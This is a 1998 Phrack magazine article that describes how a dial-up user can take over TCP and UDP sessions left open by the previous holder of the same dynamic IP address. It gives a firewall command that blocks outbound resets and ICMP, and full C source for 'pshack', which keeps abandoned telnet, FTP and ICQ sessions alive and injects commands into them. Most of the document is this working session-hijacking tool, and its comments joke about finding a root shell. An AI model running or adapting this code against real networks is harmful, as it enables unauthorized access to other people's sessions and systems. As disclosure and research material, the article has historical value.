568 lines
16 KiB
Plaintext
568 lines
16 KiB
Plaintext
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 07 of 12
|
|
|
|
|
|
-------------------------[ Scavenging Connections On Dynamic-IP Networks
|
|
|
|
|
|
--------[ Seth McGann <smm@wpi.edu> (www.el8.org) 11.29.98
|
|
|
|
|
|
|
|
----[ Purpose
|
|
|
|
This paper will highlight a potentially serious loophole in networks that rely
|
|
on dynamic IP assignment. More specifically, dial-up dynamic IP assignment
|
|
provided by almost every Internet Service Provider. This problem will allow
|
|
the unauthorized use of the previous host's connections, for instance, in
|
|
progress telnet and ftp control sessions. This issue is reminiscent of the
|
|
problem where terminal servers would sometimes provide an already logged in
|
|
session to a user lucky enough to call precisely after a forced disconnect due
|
|
to line noise or other outside factor.
|
|
|
|
|
|
----[ The Problem
|
|
|
|
To perform this feat we rely on some well know concepts, usually employed for
|
|
non-blind spoofing or session hijacking. First, we have to understand what
|
|
a connection looks like after an abrupt loss of service. The key point is
|
|
that the connection does not simply disappear, because there is no way for the
|
|
disconnected host to notify the remote end that it has lost its link. If the
|
|
remote end tries to send more data and there is no host available, the upstream
|
|
router will generate an ICMP unreachable and the connection will be terminated.
|
|
If another dial-up user connects before the remote end has sent any more data
|
|
the story is different. For a TCP based connection, the kernel will see a
|
|
packet going to an unconnected port, usually with PUSH and ACK set or simply
|
|
ACK, and will generate a RST, ending the connection. For an incident UDP
|
|
packet, an ICMP unreachable is generated. Either way the connection will
|
|
evaporate.
|
|
|
|
|
|
----[ The Solution
|
|
|
|
Solving the problem is twofold. We must first prevent the kernel from killing
|
|
the connections and second we must make sure the remote end knows we are still
|
|
alive, to prevent timeouts. For UDP the answer is very simple. As long as we
|
|
block outbound ICMP unreachable packets the remote end won't disconnect.
|
|
Application timeouts must be dealt with, of course. For TCP we have a bigger
|
|
problem, since the connections will die if not responded to. To prevent our
|
|
poisonous RST packets from reaching the remote side we simply block all
|
|
outbound TCP traffic. To keep the dialogue going, we simply ACK all incident
|
|
PUSH|ACK packets and increment the ACK and SEQ numbers accordingly. We
|
|
recover data from packets with the PUSH flag set. Additionally we can
|
|
send data back down the connection by setting the PUSH and ACK flags on
|
|
our outbound packets.
|
|
|
|
|
|
----[ Implementation
|
|
|
|
To stop our kernel from killing the latent connections, we first block all
|
|
outbound traffic. Under linux a command such as the following would be
|
|
effective:
|
|
|
|
/sbin/ipfwadm -O -a deny -S 0.0.0.0/0 -P all -W ppp0
|
|
|
|
Now, no RST packets or ICMP will get out. We are essentially turning off
|
|
kernel networking support and handling all the details ourselves. This will
|
|
not allow us to send using raw sockets, unfortunately. SOCK_PACKET could
|
|
be used, but in the interests of portability the firewall is simply opened
|
|
to send a packet and then closed. To be useful on a larger number of
|
|
platforms, libpcap 0.4 was used for pulling packets off the wire and
|
|
Libnet 0.8b was used for putting them back again. The program itself is
|
|
called pshack.c because that's basically all it does. Additionally, it will
|
|
allow you respond to in progress connections just in case you find a root
|
|
shell. It will also accept inbound connections, and allow you to reply to
|
|
them. Note, this will only work on Linux right now, due to the differences in
|
|
handling of the firewall. This is very minor and will be fixed soon. It
|
|
should compile without incident on RedHat 5.1 or 4.2 and on Slackware as well,
|
|
given one change to the ip firewall header file, namely taking out the
|
|
#include <linux/tcp.h> line.
|
|
|
|
|
|
----[ Conclusions
|
|
|
|
Using this program it is easy to scavenge telnet and ftp control sessions,
|
|
or basically any low traffic, idle connection. Grabbing ICQ sessions is a
|
|
good example of a UDP based scavenge. Obviously, streaming connections,
|
|
such as ftp data will be ICMP to death before they can be scavenged. It's
|
|
interesting to note that hosts that drop ICMP unreachable packets, for fear
|
|
of forged unreachable packets, are particularly vulnerable as they will not
|
|
lose the connection as quickly.
|
|
|
|
Required:
|
|
|
|
libpcap 0.4 -> ftp://ftp.ee.lbl.gov/libpcap.tar.Z
|
|
Libnet 0.8b -> http://www.infonexus.com/~daemon9/Projects/Libnet/
|
|
|
|
<++> scavenge/pshack.c
|
|
/* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
|
|
* Author: Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
|
|
* Date: 11/29/98
|
|
* Greets: dmess0r,napster,awr,all things w00w00,#203
|
|
* Version: 0.3
|
|
*
|
|
* Usage:
|
|
* 1. Dial up your ISP and start pshack up.
|
|
* 2. If you are lucky you will see connections you did not
|
|
* make :)
|
|
* 3. Repeat the procedure.
|
|
* Options:
|
|
* -i: The interface
|
|
* -l: Link offset
|
|
* -s: Your source IP
|
|
*
|
|
* Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
|
|
* libpcap and Libnet installed properly.
|
|
*
|
|
* libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
|
|
* Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
|
|
*
|
|
* Have fun!
|
|
*/
|
|
|
|
#define __BSD_SOURCE
|
|
#include <netinet/udp.h>
|
|
#define __FAVOR_BSD
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <syslog.h>
|
|
#include <sys/time.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <net/if.h>
|
|
#include <libnet.h>
|
|
#include <pcap.h>
|
|
#include <netinet/ip_fw.h>
|
|
#include <setjmp.h>
|
|
|
|
/* #define DEBUGIT */
|
|
|
|
#ifdef DEBUGIT
|
|
#define DEFAULT_INTERFACE "eth1"
|
|
#define DEFAULT_OFFSET 14
|
|
#else
|
|
#define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */
|
|
#define DEFAULT_OFFSET 0
|
|
#endif
|
|
|
|
struct conn {
|
|
u_int type;
|
|
u_long src,dst,seq,ack;
|
|
u_short sport,dport;
|
|
};
|
|
|
|
void clean_exit(int);
|
|
void time_out(int);
|
|
void usage(char *);
|
|
void dump_packet( u_char *, int );
|
|
int update_db( u_char *, int, struct conn*);
|
|
void dump_db (struct conn*);
|
|
|
|
char errbuf[2000];
|
|
sigjmp_buf env;
|
|
|
|
|
|
|
|
int
|
|
main (int argc, char **argv) {
|
|
|
|
struct ip *ip_hdr;
|
|
struct tcphdr *tcp_hdr;
|
|
struct udphdr *udp_hdr;
|
|
struct ip_fw fw;
|
|
struct ifreq ifinfo;
|
|
struct pcap_pkthdr ph;
|
|
pcap_t *pd;
|
|
u_long local=0,seq,ack;
|
|
u_short flags=0;
|
|
u_char *d_ptr,*packet;
|
|
u_char *pbuf=malloc(TCP_H+IP_H+500);
|
|
char iface[17],sendbuf[500];
|
|
int osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
|
|
struct conn conn[100]; /* WAY more than enough */
|
|
char arg;
|
|
fd_set rfds;
|
|
struct timeval tv;
|
|
int retval;
|
|
char user[500];
|
|
|
|
|
|
strcpy(iface,DEFAULT_INTERFACE);
|
|
linkoff=DEFAULT_OFFSET;
|
|
|
|
while((arg = getopt(argc,argv,"i:s:l:")) != EOF){
|
|
switch(arg) {
|
|
case 's':
|
|
local=inet_addr(optarg);
|
|
break;
|
|
case 'i':
|
|
strncpy(iface,optarg,16);
|
|
break;
|
|
case 'l':
|
|
linkoff=atoi(optarg);
|
|
break;
|
|
default:
|
|
usage(argv[0]);
|
|
break;
|
|
}
|
|
}
|
|
|
|
printf("* Blocking till %s comes up *\n",iface);
|
|
|
|
do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);
|
|
|
|
printf("* Configuring Raw Output *\n");
|
|
osock=open_raw_sock(IPPROTO_RAW);
|
|
if (osock<0)perror("socket()"),exit(1);
|
|
strcpy(ifinfo.ifr_ifrn.ifrn_name,iface);
|
|
if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
|
|
if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1);
|
|
if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);
|
|
|
|
bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);
|
|
printf("* Address: %s\n",host_lookup(local,0));
|
|
|
|
printf("* Blocking Outbound on %s *\n",iface);
|
|
sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
|
|
if(sfd<0) perror("socket()"),exit(1);
|
|
|
|
bzero(&fw,sizeof(fw));
|
|
strcpy(fw.fw_vianame,iface);
|
|
#ifdef DEBUGIT
|
|
fw.fw_flg=IP_FW_F_ICMP;
|
|
if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
|
|
perror("setsockopt()"),exit(1);
|
|
fw.fw_flg=IP_FW_F_TCP;
|
|
fw.fw_nsp=1;
|
|
fw.fw_pts[0]=666;
|
|
#endif
|
|
if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
|
|
perror("setsockopt()"),exit(1);
|
|
|
|
signal(SIGTERM,clean_exit);
|
|
signal(SIGINT,clean_exit);
|
|
signal(SIGALRM,time_out);
|
|
|
|
printf("* Entering Capture Loop *\n\n");
|
|
printf("* Commands [1] Dump databese\n"
|
|
" [2] Send on connection <n> Ex: 2 1 ls -al\n"
|
|
" [3] Exit\n\n");
|
|
sigsetjmp(env,1);
|
|
|
|
FD_ZERO(&rfds);
|
|
FD_SET(0, &rfds);
|
|
tv.tv_sec = 0;
|
|
tv.tv_usec = 0;
|
|
|
|
retval = select(1, &rfds, NULL, NULL, &tv);
|
|
|
|
if (retval) {
|
|
retval=read(1,user,sizeof(user));
|
|
user[retval]=0;
|
|
switch(user[0]) {
|
|
case '1':
|
|
dump_db(conn);
|
|
break;
|
|
case '2':
|
|
i=atoi(&user[2]);
|
|
if (i > dbsize) {
|
|
printf("* Invalid connection index) *\n");
|
|
break;
|
|
}
|
|
build_ip(TCP_H,
|
|
101,
|
|
0,
|
|
IP_DF,
|
|
128,
|
|
IPPROTO_TCP,
|
|
local,
|
|
htonl(conn[i].src),
|
|
NULL, 0, pbuf);
|
|
|
|
build_tcp(conn[i].dport,
|
|
conn[i].sport,
|
|
conn[i].seq,
|
|
conn[i].ack,
|
|
TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
|
|
pbuf + IP_H);
|
|
|
|
do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
|
|
setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
|
|
write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
|
|
setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
|
|
|
|
printf("Sent: %s\n",user+4);
|
|
break;
|
|
case '3':
|
|
clean_exit(1);
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
alarm(1);
|
|
|
|
for(;packet=pcap_next(pd,&ph);) {
|
|
|
|
ip_hdr = (struct ip *)(packet + linkoff);
|
|
|
|
switch(ip_hdr->ip_p) {
|
|
|
|
case IPPROTO_TCP:
|
|
tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
|
|
dump_packet(packet,linkoff);
|
|
#ifdef DEBUGIT
|
|
if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
|
|
ntohs(tcp_hdr->th_dport)==666) {
|
|
#else
|
|
if (ntohl(ip_hdr->ip_src.s_addr) != local) {
|
|
#endif
|
|
newsize=update_db(packet, linkoff, conn);
|
|
|
|
if(newsize>dbsize) {
|
|
printf("New Connect:\n");
|
|
dbsize=newsize;}
|
|
|
|
if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
|
|
tcp_hdr->th_flags&TH_ACK)) {
|
|
datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
|
|
if(!datalen) datalen++;
|
|
|
|
seq=ntohl(tcp_hdr->th_ack);
|
|
ack=ntohl(tcp_hdr->th_seq)+datalen;
|
|
flags=TH_ACK;
|
|
} else if(tcp_hdr->th_flags&TH_SYN) {
|
|
seq=get_prand(PRu32);
|
|
ack=ntohl(tcp_hdr->th_seq)+1;
|
|
flags=TH_SYN|TH_ACK;
|
|
}
|
|
|
|
if(flags) {
|
|
build_ip(TCP_H,
|
|
101,
|
|
0,
|
|
IP_DF,
|
|
128,
|
|
IPPROTO_TCP,
|
|
local,
|
|
ip_hdr->ip_src.s_addr,
|
|
NULL, 0, pbuf);
|
|
|
|
build_tcp(ntohs(tcp_hdr->th_dport),
|
|
ntohs(tcp_hdr->th_sport),
|
|
seq,
|
|
ack,
|
|
flags, 31000, 0, NULL, 0, pbuf + IP_H);
|
|
|
|
do_checksum(pbuf, IPPROTO_TCP, TCP_H);
|
|
setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
|
|
write_ip(osock, pbuf, TCP_H + IP_H);
|
|
setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));
|
|
flags=0; }
|
|
}
|
|
break;
|
|
|
|
case IPPROTO_UDP:
|
|
dump_packet(packet,linkoff);
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
|
|
void
|
|
dump_packet( u_char *packet, int linkoff ) {
|
|
|
|
struct ip *ip_hdr;
|
|
struct tcphdr *tcp_hdr;
|
|
struct udphdr *udp_hdr;
|
|
u_char *d_ptr;
|
|
u_int i;
|
|
|
|
ip_hdr = (struct ip *)(packet + linkoff);
|
|
|
|
switch (ip_hdr->ip_p) {
|
|
|
|
case IPPROTO_TCP:
|
|
tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
|
|
|
|
printf("********************\n");
|
|
printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
|
|
"Flags: %c%c%c%c%c%c Data Len: %d\n",
|
|
host_lookup(ip_hdr->ip_src.s_addr,0),
|
|
ntohs(tcp_hdr->th_sport),
|
|
host_lookup(ip_hdr->ip_dst.s_addr,0),
|
|
ntohs(tcp_hdr->th_dport),
|
|
ntohl(tcp_hdr->th_seq),
|
|
ntohl(tcp_hdr->th_ack),
|
|
(tcp_hdr->th_flags & TH_URG) ? 'U' : '-',
|
|
(tcp_hdr->th_flags & TH_ACK) ? 'A' : '-',
|
|
(tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
|
|
(tcp_hdr->th_flags & TH_RST) ? 'R' : '-',
|
|
(tcp_hdr->th_flags & TH_SYN) ? 'S' : '-',
|
|
(tcp_hdr->th_flags & TH_FIN) ? 'F' : '-',
|
|
ntohs(ip_hdr->ip_len)-IP_H-TCP_H);
|
|
|
|
d_ptr=packet+linkoff+TCP_H+IP_H;
|
|
|
|
for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
|
|
if (d_ptr[i]=='\n')
|
|
printf("\n");
|
|
else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
|
|
printf("%c",d_ptr[i]);
|
|
else
|
|
printf (".");
|
|
|
|
printf("\n");
|
|
break;
|
|
|
|
case IPPROTO_UDP:
|
|
|
|
udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
|
|
printf("********************\n");
|
|
printf("UDP: %s.%d->%s.%d Data Len: %d\n",
|
|
host_lookup(ip_hdr->ip_src.s_addr,0),
|
|
ntohs(udp_hdr->uh_sport),
|
|
host_lookup(ip_hdr->ip_dst.s_addr,0),
|
|
ntohs(udp_hdr->uh_dport),
|
|
ntohs(ip_hdr->ip_len)-IP_H-UDP_H);
|
|
|
|
d_ptr=packet+linkoff+UDP_H+IP_H;
|
|
for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
|
|
if (d_ptr[i]=='\n')
|
|
printf("\n");
|
|
else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
|
|
printf("%c",d_ptr[i]);
|
|
else
|
|
printf(".");
|
|
|
|
printf("\n");
|
|
break;
|
|
|
|
default:
|
|
/* We ignore everything else */
|
|
break;
|
|
}
|
|
|
|
}
|
|
|
|
void
|
|
clean_exit(int val) {
|
|
|
|
int sfd,p=0;
|
|
|
|
sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
|
|
if (sfd<0) perror("socket()"),exit(1);
|
|
if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
|
|
perror("setsockopt()"),exit(1);
|
|
exit(0);
|
|
}
|
|
|
|
|
|
void
|
|
usage(char *arg) {
|
|
printf("%s: [options]\n"
|
|
" -i: The interface\n"
|
|
" -l: Link offset\n"
|
|
" -s: Your source IP\n\n",arg);
|
|
exit(0);
|
|
}
|
|
|
|
void
|
|
dump_db (struct conn *conn) {
|
|
|
|
int i;
|
|
|
|
|
|
for(i=0;conn[i].type;i++)
|
|
if(conn[i].type==IPPROTO_TCP)
|
|
printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
|
|
i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
|
|
host_lookup(htonl(conn[i].dst),0), conn[i].dport,
|
|
conn[i].seq,conn[i].ack);
|
|
else if(conn[i].type==IPPROTO_UDP)
|
|
printf("%d: UDP: %s.%d->%s.%d\n",
|
|
i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
|
|
host_lookup(htonl(conn[i].dst),0), conn[i].dport);
|
|
else break;
|
|
|
|
|
|
}
|
|
|
|
|
|
int
|
|
update_db( u_char *packet, int linkoff, struct conn *conn) {
|
|
struct ip *ip_hdr;
|
|
struct tcphdr *tcp_hdr;
|
|
struct udphdr *udp_hdr;
|
|
int i=0;
|
|
ip_hdr = (struct ip *)(packet + linkoff);
|
|
|
|
switch(ip_hdr->ip_p) {
|
|
|
|
case IPPROTO_TCP:
|
|
tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
|
|
|
|
for(i=0;conn[i].type;i++)
|
|
if(conn[i].type==IPPROTO_TCP)
|
|
if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
|
|
if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
|
|
if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
|
|
if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
|
|
break;
|
|
|
|
if(conn[i].type) {
|
|
conn[i].seq=ntohl(tcp_hdr->th_ack);
|
|
conn[i].ack=ntohl(tcp_hdr->th_seq); }
|
|
else {
|
|
conn[i].type=IPPROTO_TCP;
|
|
conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
|
|
conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
|
|
conn[i].sport=ntohs(tcp_hdr->th_sport);
|
|
conn[i].dport=ntohs(tcp_hdr->th_dport);
|
|
conn[i].seq=ntohl(tcp_hdr->th_ack);
|
|
conn[i].ack=ntohl(tcp_hdr->th_seq); }
|
|
|
|
break;
|
|
|
|
case IPPROTO_UDP:
|
|
udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr->ip_hl));
|
|
|
|
for(i=0;conn[i].type;i++)
|
|
if(conn[i].type==IPPROTO_TCP)
|
|
if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
|
|
if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
|
|
if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
|
|
if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;
|
|
|
|
if(!conn[i].type) {
|
|
conn[i].type=IPPROTO_UDP;
|
|
conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
|
|
conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
|
|
conn[i].sport=ntohs(udp_hdr->uh_sport);
|
|
conn[i].dport=ntohs(udp_hdr->uh_dport); }
|
|
|
|
break;
|
|
default:
|
|
/* We Don't care */
|
|
break;
|
|
}
|
|
return i;
|
|
|
|
}
|
|
|
|
void
|
|
time_out(int blank) {
|
|
alarm(0);
|
|
siglongjmp(env,1);
|
|
}
|
|
|
|
/* EOF */
|
|
<-->
|
|
|
|
----[ EOF
|